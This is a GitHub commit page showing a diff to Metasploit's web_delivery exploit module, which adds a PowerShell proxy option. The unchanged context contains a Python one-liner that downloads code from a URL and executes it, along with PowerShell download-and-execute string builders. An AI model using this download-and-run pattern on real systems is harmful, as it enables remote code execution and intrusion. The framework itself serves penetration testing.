Skip to content

Commit e7b4cb7

Browse files
committed
Add PSH-Proxy to multi/script/web_delivery
1 parent be66ed8 commit e7b4cb7

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,12 @@ def initialize(info = {})
6262
'DefaultTarget' => 0,
6363
'DisclosureDate' => 'Jul 19 2013'
6464
))
65+
66+
register_advanced_options(
67+
[
68+
OptBool.new('PSH-Proxy', [ true, 'PowerShell - Use the system proxy', true ])
69+
], self.class
70+
)
6571
end
6672

6773
def on_request_uri(cli, _request)
@@ -89,7 +95,7 @@ def primer
8995
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
9096
when 'PSH'
9197
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
92-
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
98+
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
9399
download_and_run = "#{ignore_cert}#{download_string}"
94100
print_line generate_psh_command_line(
95101
noprofile: true,

0 commit comments

Comments
 (0)